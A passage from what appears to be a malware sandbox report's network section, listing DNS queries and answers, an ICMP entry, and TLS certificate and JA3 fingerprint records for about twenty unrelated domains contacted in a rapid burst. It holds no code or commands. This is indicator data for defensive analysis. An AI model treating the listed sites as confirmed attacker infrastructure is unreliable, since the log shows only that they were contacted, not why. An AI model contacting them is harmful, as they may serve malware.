                                                                                Aug 4, 2021 08:56:50.204675913 CEST53575448.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:56:50.932969093 CEST5598453192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:56:50.960295916 CEST53559848.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:56:51.591430902 CEST6418553192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:56:51.619312048 CEST53641858.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:56:52.906739950 CEST6511053192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:56:52.939374924 CEST53651108.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:56:54.722208023 CEST5836153192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:56:54.748682022 CEST53583618.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:56:55.349453926 CEST6349253192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:56:55.376416922 CEST53634928.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:56:57.559947014 CEST6083153192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:56:57.584868908 CEST53608318.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:56:58.578349113 CEST6010053192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:56:58.613039970 CEST53601008.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:00.509488106 CEST5319553192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:00.534518957 CEST53531958.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:01.457091093 CEST5014153192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:01.486226082 CEST53501418.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:02.120763063 CEST5302353192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:02.150793076 CEST53530238.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:02.754446030 CEST4956353192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:02.783970118 CEST53495638.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:03.701221943 CEST5135253192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:03.728728056 CEST53513528.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:04.427963972 CEST5934953192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:04.462502003 CEST53593498.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:05.216072083 CEST5708453192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:05.241702080 CEST53570848.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:07.239309072 CEST5882353192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:07.266846895 CEST53588238.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:17.267410994 CEST5756853192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:17.303164005 CEST53575688.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:22.706219912 CEST5054053192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:22.743374109 CEST53505408.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:43.368194103 CEST5436653192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:43.394181967 CEST53543668.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:51.438395977 CEST5303453192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:51.480204105 CEST53530348.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:57:53.996629000 CEST5776253192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:57:54.036775112 CEST53577628.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:26.563430071 CEST5543553192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:26.606950998 CEST53554358.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:41.964561939 CEST5071353192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:41.997981071 CEST53507138.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:42.912883997 CEST5613253192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:42.930016994 CEST5898753192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:42.966312885 CEST53561328.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:42.970604897 CEST53589878.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:43.701183081 CEST5657953192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:43.737771988 CEST53565798.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:44.424247026 CEST6063353192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:45.425327063 CEST6063353192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:45.510597944 CEST53606338.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:45.513323069 CEST53606338.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:45.520076990 CEST6129253192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:45.554800034 CEST53612928.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:48.259187937 CEST6361953192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:48.310302019 CEST53636198.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:48.946841955 CEST6493853192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:48.984482050 CEST53649388.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:49.995158911 CEST6194653192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:50.039776087 CEST53619468.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:50.747896910 CEST6491053192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:50.807410002 CEST53649108.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:51.710722923 CEST5212353192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:51.749464989 CEST53521238.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:52.263477087 CEST5613053192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:52.312005043 CEST53561308.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:52.601824045 CEST5633853192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:52.646301985 CEST53563388.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:53.023174047 CEST5942053192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:53.143364906 CEST53594208.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:53.628084898 CEST5878453192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:53.663932085 CEST53587848.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:53.673527956 CEST6397853192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:53.710153103 CEST53639788.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:54.027301073 CEST6293853192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:54.064366102 CEST53629388.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:54.312860966 CEST5570853192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:54.349646091 CEST53557088.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:55.236527920 CEST5680353192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:55.463382006 CEST53568038.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:55.563422918 CEST5714553192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:55.623076916 CEST53571458.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:58:55.717422009 CEST5535953192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:58:55.752588034 CEST53553598.8.8.8192.168.2.3
                                                                                Aug 4, 2021 08:59:01.558717012 CEST5830653192.168.2.38.8.8.8
                                                                                Aug 4, 2021 08:59:01.780868053 CEST53583068.8.8.8192.168.2.3

                                                                                ICMP Packets

                                                                                TimestampSource IPDest IPChecksumCodeType
                                                                                Aug 4, 2021 08:58:45.513504028 CEST192.168.2.38.8.8.8cff1(Port unreachable)Destination Unreachable

                                                                                DNS Queries

                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                Aug 4, 2021 08:58:41.964561939 CEST192.168.2.38.8.8.80xaf51Standard query (0)bluelakevision.comA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:42.912883997 CEST192.168.2.38.8.8.80x3569Standard query (0)forumsittard.nlA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:44.424247026 CEST192.168.2.38.8.8.80x8f01Standard query (0)gosouldeep.comA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:45.425327063 CEST192.168.2.38.8.8.80x8f01Standard query (0)gosouldeep.comA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:45.520076990 CEST192.168.2.38.8.8.80xc07dStandard query (0)hvitfeldt.dkA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:48.259187937 CEST192.168.2.38.8.8.80xc606Standard query (0)advanced-removals.co.ukA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:48.946841955 CEST192.168.2.38.8.8.80x7246Standard query (0)putzen-reinigen.comA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:49.995158911 CEST192.168.2.38.8.8.80xc50Standard query (0)advancedeyecare.comA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:50.747896910 CEST192.168.2.38.8.8.80xc8c2Standard query (0)transifer.frA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:51.710722923 CEST192.168.2.38.8.8.80xb40fStandard query (0)hiddensee-buhne11.deA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:52.263477087 CEST192.168.2.38.8.8.80xda44Standard query (0)aslog.frA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:52.601824045 CEST192.168.2.38.8.8.80xda4aStandard query (0)www.francesupplychain.orgA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:53.023174047 CEST192.168.2.38.8.8.80x72f3Standard query (0)iactechnologies.netA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:53.628084898 CEST192.168.2.38.8.8.80x8483Standard query (0)unboxtherapy.siteA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:53.673527956 CEST192.168.2.38.8.8.80x85feStandard query (0)renderbox.chA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:54.027301073 CEST192.168.2.38.8.8.80x54dStandard query (0)x1.i.lencr.orgA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:55.236527920 CEST192.168.2.38.8.8.80x6ed8Standard query (0)jobkiwi.com.ngA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:55.563422918 CEST192.168.2.38.8.8.80x68d7Standard query (0)www.jobkiwi.com.ngA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:55.717422009 CEST192.168.2.38.8.8.80xa3d2Standard query (0)citiscapes-art.comA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:59:01.558717012 CEST192.168.2.38.8.8.80xd553Standard query (0)axisoflove.orgA (IP address)IN (0x0001)

                                                                                DNS Answers

                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                Aug 4, 2021 08:58:41.997981071 CEST8.8.8.8192.168.2.30xaf51No error (0)bluelakevision.com185.37.70.54A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:42.966312885 CEST8.8.8.8192.168.2.30x3569No error (0)forumsittard.nl149.210.207.139A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:45.510597944 CEST8.8.8.8192.168.2.30x8f01Server failure (2)gosouldeep.comnonenoneA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:45.513323069 CEST8.8.8.8192.168.2.30x8f01Server failure (2)gosouldeep.comnonenoneA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:45.554800034 CEST8.8.8.8192.168.2.30xc07dNo error (0)hvitfeldt.dk195.242.130.99A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:48.310302019 CEST8.8.8.8192.168.2.30xc606No error (0)advanced-removals.co.uk185.151.30.134A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:48.984482050 CEST8.8.8.8192.168.2.30x7246No error (0)putzen-reinigen.com81.19.159.86A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:50.039776087 CEST8.8.8.8192.168.2.30xc50No error (0)advancedeyecare.com66.228.32.51A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:50.807410002 CEST8.8.8.8192.168.2.30xc8c2No error (0)transifer.fr87.98.154.146A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:51.749464989 CEST8.8.8.8192.168.2.30xb40fNo error (0)hiddensee-buhne11.de217.160.0.84A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:52.312005043 CEST8.8.8.8192.168.2.30xda44No error (0)aslog.fr213.186.33.151A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:52.646301985 CEST8.8.8.8192.168.2.30xda4aNo error (0)www.francesupplychain.org51.178.54.109A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:53.143364906 CEST8.8.8.8192.168.2.30x72f3No error (0)iactechnologies.net159.203.88.13A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:53.663932085 CEST8.8.8.8192.168.2.30x8483Name error (3)unboxtherapy.sitenonenoneA (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:53.710153103 CEST8.8.8.8192.168.2.30x85feNo error (0)renderbox.ch149.126.4.26A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:54.064366102 CEST8.8.8.8192.168.2.30x54dNo error (0)x1.i.lencr.orgcrl.root-x1.letsencrypt.org.edgekey.netCNAME (Canonical name)IN (0x0001)
                                                                                Aug 4, 2021 08:58:55.463382006 CEST8.8.8.8192.168.2.30x6ed8No error (0)jobkiwi.com.ng139.162.168.84A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:55.623076916 CEST8.8.8.8192.168.2.30x68d7No error (0)www.jobkiwi.com.ng139.162.168.84A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:58:55.752588034 CEST8.8.8.8192.168.2.30xa3d2No error (0)citiscapes-art.com52.42.236.180A (IP address)IN (0x0001)
                                                                                Aug 4, 2021 08:59:01.780868053 CEST8.8.8.8192.168.2.30xd553No error (0)axisoflove.org54.38.96.8A (IP address)IN (0x0001)

                                                                                HTTPS Packets

                                                                                TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                                                                                Aug 4, 2021 08:58:42.064188004 CEST185.37.70.54443192.168.2.349736CN=bluelakevision.comCN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GBThu Apr 22 02:00:00 CEST 2021Mon Oct 11 01:59:59 CEST 2021771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                Aug 4, 2021 08:58:43.047580004 CEST149.210.207.139443192.168.2.349737CN=forumsittard.eu CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Mon Aug 02 23:12:12 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Sun Oct 31 22:12:10 CET 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024
                                                                                Aug 4, 2021 08:58:45.629520893 CEST195.242.130.99443192.168.2.349744CN=hvitfeldt.dk CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GBWed Jun 02 02:00:00 CEST 2021 Mon May 18 02:00:00 CEST 2015 Thu Jan 01 01:00:00 CET 2004Wed Sep 01 01:59:59 CEST 2021 Sun May 18 01:59:59 CEST 2025 Mon Jan 01 00:59:59 CET 2029771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=USCN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBMon May 18 02:00:00 CEST 2015Sun May 18 01:59:59 CEST 2025
                                                                                CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GBThu Jan 01 01:00:00 CET 2004Mon Jan 01 00:59:59 CET 2029
                                                                                Aug 4, 2021 08:58:48.421866894 CEST185.151.30.134443192.168.2.349745CN=*.autodiscover.advanced-removals.co.uk CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sat Jun 05 01:46:41 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Fri Sep 03 01:46:41 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024
                                                                                Aug 4, 2021 08:58:49.080423117 CEST81.19.159.86443192.168.2.349746CN=www.putzen-reinigen.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sat May 22 00:06:36 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Fri Aug 20 00:06:36 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024
                                                                                Aug 4, 2021 08:58:50.245208025 CEST66.228.32.51443192.168.2.349747CN=advancedeyecare.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Thu Jul 15 05:41:21 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Wed Oct 13 05:41:20 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024
                                                                                Aug 4, 2021 08:58:50.874461889 CEST87.98.154.146443192.168.2.349748CN=transifer.fr CN=R3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Thu Jul 01 07:47:34 CEST 2021 Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 07:47:33 CEST 2021 Wed Sep 29 21:21:40 CEST 2021771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=R3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 21:21:40 CEST 2021
                                                                                Aug 4, 2021 08:58:51.806968927 CEST217.160.0.84443192.168.2.349749CN=*.hiddensee-buhne11.de CN=Encryption Everywhere DV TLS CA - G1, OU=www.digicert.com, O=DigiCert Inc, C=USCN=Encryption Everywhere DV TLS CA - G1, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=USThu May 20 02:00:00 CEST 2021 Mon Nov 27 13:46:10 CET 2017Thu Jun 02 01:59:59 CEST 2022 Sat Nov 27 13:46:10 CET 2027771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=Encryption Everywhere DV TLS CA - G1, OU=www.digicert.com, O=DigiCert Inc, C=USCN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=USMon Nov 27 13:46:10 CET 2017Sat Nov 27 13:46:10 CET 2027
                                                                                Aug 4, 2021 08:58:52.358920097 CEST213.186.33.151443192.168.2.349750CN=aslog.fr CN=R3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sun Jul 11 16:47:00 CEST 2021 Wed Oct 07 21:21:40 CEST 2020Sat Oct 09 16:46:59 CEST 2021 Wed Sep 29 21:21:40 CEST 2021771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=R3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 21:21:40 CEST 2021
                                                                                Aug 4, 2021 08:58:52.693604946 CEST51.178.54.109443192.168.2.349751CN=www.francesupplychain.org CN=Gandi Standard SSL CA 2, O=Gandi, L=Paris, ST=Paris, C=FRCN=Gandi Standard SSL CA 2, O=Gandi, L=Paris, ST=Paris, C=FR CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=USFri Sep 18 02:00:00 CEST 2020 Fri Sep 12 02:00:00 CEST 2014Sun Sep 19 01:59:59 CEST 2021 Thu Sep 12 01:59:59 CEST 2024771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=Gandi Standard SSL CA 2, O=Gandi, L=Paris, ST=Paris, C=FRCN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=USFri Sep 12 02:00:00 CEST 2014Thu Sep 12 01:59:59 CEST 2024
                                                                                Aug 4, 2021 08:58:53.349363089 CEST159.203.88.13443192.168.2.349752CN=iactechnologies.net CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sat Jul 24 04:15:17 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Fri Oct 22 04:15:15 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024
                                                                                Aug 4, 2021 08:58:53.745220900 CEST149.126.4.26443192.168.2.349753CN=renderbox.ch CN=R3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USMon Aug 02 01:27:08 CEST 2021 Fri Sep 04 02:00:00 CEST 2020Sun Oct 31 01:27:06 CEST 2021 Mon Sep 15 18:00:00 CEST 2025771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                Aug 4, 2021 08:58:55.505470991 CEST139.162.168.84443192.168.2.349756CN=www.jobkiwi.co.nz CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sun Jul 04 04:06:45 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Sat Oct 02 04:06:44 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024
                                                                                Aug 4, 2021 08:58:55.668373108 CEST139.162.168.84443192.168.2.349757CN=www.jobkiwi.co.nz CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sun Jul 04 04:06:45 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Sat Oct 02 04:06:44 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024
